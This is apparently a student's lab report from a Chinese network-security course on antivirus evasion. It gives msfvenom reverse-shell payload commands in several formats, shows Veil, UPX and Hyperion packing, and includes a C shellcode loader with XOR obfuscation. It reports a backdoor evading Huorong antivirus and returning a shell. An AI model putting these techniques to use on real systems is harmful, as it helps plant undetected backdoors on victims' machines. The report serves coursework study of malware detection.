首页 > 其他分享 >20222413 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222413 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-29 21:59:39浏览次数:6  
标签:20222413 exe 免杀 veil 2024 2025 恶意代码 shellcode

1.实验内容

1.1学习总结
本周的学习内容为恶意代码的概念、发展历史以及分析技术。我知晓了恶意代码的不同类型及其典型案例、攻击方式和危害。同时我了解了静态分析和动态分析所采用的技术方法。
1.2实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

2.1.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)使用msf编码器进行恶意代码编写
①查看虚拟机的ip地址

②生成实验二所使用的后门程序

③生成完毕后在https://www.virustotal.com/gui/home/upload网站检测该程序,所得结果如下

④对生成的后门程序进行多次编码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe

编码一次检测结果:

编码十次检测结果:

编码二十次检测结果:

总的来说多次编码对于免杀效果的影响微乎其微
(2)使用msfvenom生成其它类型的文件

msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.jar
输出jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.php
输出php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.py
输出python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.117.129 LPORT=2413 x> 20222413.apk
输出apk文件

所得免杀检测结果如下:
①jar

②php

③python

④apk

2.1.2使用veil,加壳工具
(1)veil下载完成后输入

veil
use evasion
use+payload类型,如use c/meterpreter/rev_tcp.py
输入list查看可使用的payload
set LHOST 192.168.117.129
set LPORT 2413
generate
20222413_veil






生成结果免杀效果如下:
①powershell
②C语言

③python

④ruby

(2)其他加壳工具
①使用upx对生成的c语言payload加压缩壳

upx 20222413_c_veil.exe -o 20222413_c_upxveil.exe


免杀检测结果:

②使用hyperion加密加壳

cp 20222413_c_veil.exe /usr/share/windows-resources/hyperion
将生成的C语言payload复制到hyperion文件夹中
wine hyperion.exe -v 20222413_c_veil.exe 20222413_c_veil_hyp.exe
使用hyperion对文件加密,生成的文件命名为20222413_c_veil_hyp.exe


免杀效果检测:

2.1.3使用C + shellcode编程
(1)使用msfvenom生成shellcode数组

(2)建立C文件

#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int (func)() = (int ()()) buf;
(func)();
}

(3)编译C文件

(4)免杀效果检测

2.2通过组合应用各种技术实现恶意代码免杀
(1)使用C+shellcode+异或进行免杀,生成shellcode代码

(2)使用C语言对shellcode进行异或处理
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main(){
FILE *fptr;
fptr = fopen("shellcode.txt","w");
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
fprintf(fptr,"\x%x",buf[i]);
}
if(fptr==NULL){
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}


使用gcc编译执行

得到异或后的shellcode

(3)使用异或的shellcode编写c文件

#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int i;
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
}
int (func)();
func = (int (
)()) buf;
(func)();
}

(4)编译C文件为exe

(5)免杀效果检测

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(1)生成后门文件20222413.raw

(2)通过共享文件夹将20222413.raw传送到主机

(3)使用杀毒工具进行检测
所用杀毒软件为火绒,版本为6.0.3.0

查杀结果如下

生成的后门程序并未被杀毒软件发现
(4)kali进入msf控制台,配置完成后在主机端使用shell_launcher运行后门程序,随后可获取主机shell

3.问题及解决方案

  • 问题1:在下载veil的时候,报错wget: unable to resolve host address
  • 问题1解决方案:错误原因为无法解析主机地址,进入/etc/resolv.conf修改DNS,将DNS地址改为google域名服务器
    在文件最后插入
    nameserver 8.8.8.8
    nameserver 8.8.4.4

4.实验问题回答

(1)杀软是如何检测出恶意代码的?

  • 特征码扫描:分析比对文件特征码与已知的恶意代码的特征码是否相同
  • 启发式扫描:分析程序的行为判断是否为恶意代码。当程序中出现恶意行为,如访问与修改系统资源时,将该程序判定为恶意代码。
  • 沙盒模拟技术‌:将待检测文件置于隔离的虚拟环境中运行,分析其行为和函数调用是否出现恶意行为
  • 云查杀技术‌:借助云计算技术迅速分析大量数据,识别新出现的恶意软件。

(2)免杀是做什么?

  • 通过使用技术手段修改恶意代码,使其无法被杀毒软件检测到,从而可以在目标系统中运行。

(3)免杀的基本方法有哪些?

  • 修改特征码,如加壳(加密壳与压缩壳)、encode编码、使用其他语言重写后编译
  • 改变行为,使用反弹式连接、隧道技术、加密数据等不易被判定为恶意行为的通讯方式。

5.学习感悟、思考等

本次实验内容为恶意代码的免杀原理与实践。通过本次实验,我了解到如何使用msf编码器、veil、upx和hyperion加壳以及c+shellcode技术。令我印象深刻的是veil的下载,过程很繁琐,在下载过程中虚拟机重启后出现了黑屏的问题,只能重装虚拟机。虽然过程有一点折磨,但最终得到每种方法的免杀检测结果、了解更多网络攻防技术知识带来的获得感令人欣喜。

参考资料

标签:20222413,exe,免杀,veil,2024,2025,恶意代码,shellcode
From: https://www.cnblogs.com/hhshhs/p/18514203

相关文章

  • [KTSC 2024 R1] 最大化平均值 题解
    先考虑封闭序列的个数,发现只有\(\mathcalO(n)\)个,可以建出小根笛卡尔树,以\((a_i,i)\)作为权值,于是相同的一定是\(i,rs_i,rs_{rs_i},\dots\)。考虑如果没有重复,询问相当于给出一棵树,每次询问\(subtree(u)\),保留一个含\(u\)的联通块的最大平均值。可以把每个节点用向......
  • 2024.10.19 CF2030(Div.2)
    比赛链接Solved:5/8Upsolved:6/8Rank:166E.MEXmizetheScore题意定义一个集合的分数为:将它分成若干个子集,mex和的最大值。(mex从0开始算)给n个数,求所有非空子集的分数之和。\(n\leq2\times10^5\)题解对一个确定的集合,它的划分方式一定是每次分出去一个最长的{0,......
  • 网鼎杯2024-青龙官方资格赛
    没必要看,只有最简单的题哎,尽力了,简单的都做不出来Cryptocrypto1fromCrypto.Util.numberimport*fromsecretimportflagp=getPrime(512)q=getPrime(512)n=p*qd=getPrime(299)e=inverse(d,(p-1)*(q-1))m=bytes_to_long(flag)c=pow(m,e,n)hint1......
  • 2024.10.14 Codeforces Round 978 (Div. 2)
    比赛链接Solved:4/7Upsolved:5/7Rank:447(rated343)D2.Asesino(HardVersion)题意:有n个人,除了一个卧底以外,其他人或者只会说真话,或者只会说谎,且他们知道彼此的身份。卧底只会说谎,但其他人都认为他只会说真话。现在你可以进行若干次询问,每次询问形如问第i个人第j个人是什么......
  • 2024.10.24 The 2021 ICPC Northwestern Russia Regional Contest
    比赛链接Solved:8/14Penalty:909Rank:23前五道签到题ABCHL。K.KaleidoscopicRoute题意给一张带边权的图,求一条1到n的路径,使经过的边数最少的同时边的极差最大。题解求出最短路图,然后DAG上dp:f和g分别表示从1到这个点能经过的最大边权和最小边权。然后每转移一条边(x,y,z......
  • NewStar2024-week4-Crypto
    Crypto圣石匕首sage直接运行脚本就有了importgmpy2beta=0.37delta=0.01n=round((1-2*beta-2*delta)/((1-beta)^2-2*delta-beta),6)e=3668637434348843171145584606519031375027610199908169273169275927238735031431533260375377791001464799116453803408104076615710166......
  • 2024.10.4 2018-2019 ACM-ICPC Southeastern European Regional Programming Contest
    比赛链接Solved:7/11Penalty:914Rank:1/74Rank(vp):63/1k+Dirt:22%G答案是4*纯色块数+5。考虑怎么维护这个纯色块数。这道题的修改保证了一个块纯色当且仅当其行列都纯色。因此对行列分别维护一棵线段树,维护每一层分别有多少个纯色节点,按层乘起来相加就行。K1操作的增加量......
  • 2024.10.3 2022-2023 ICPC Brazil Subregional Programming Contest
    比赛链接Solved:12/14Rank:5/1k+Rank(vp):49/2k+Penalty:1619Dirt:45%前10个题都比较简单/套路。L做法很好想。但是……因为不会写启发式合并卡了40min,警钟长鸣!intsum[N];map<int,int>col[N];intsz[N];llnow[N],ans[N];voidmrg(intx,inty){x=find(x),y=fi......
  • P9994 [Ynoi Easy Round 2024] TEST_132
    题意给定平面上\(n\)个点,保证两两横纵坐标不同:对于所有横坐标为\(x\)的点,权值\(v_i=v_i^2\)。询问所有纵坐标为\(y\)的点的权值之和。\(n\le10^6\)。Sol根号分治,考虑对于所有横坐标相同的点分组。对于修改操作,若当前修改的组大小\(\leB\),那么直接暴力修......
  • 2024.10.26 2024 CCPC哈尔滨站
    Solved:6/13Penalty:635Rank:72Rank(ucup):170打到后面困了(而且不会L心态爆炸)睡觉去了,不然还能多做个E题(被L单防了啊。。CGKM:签到,不放了。J.NewEnergyVehicle$n$种汽油,$m$个加油站,每个加油站只能加一种油,每种油都是一单位能走一公里,求最远能走多少公里。$n,m\leq......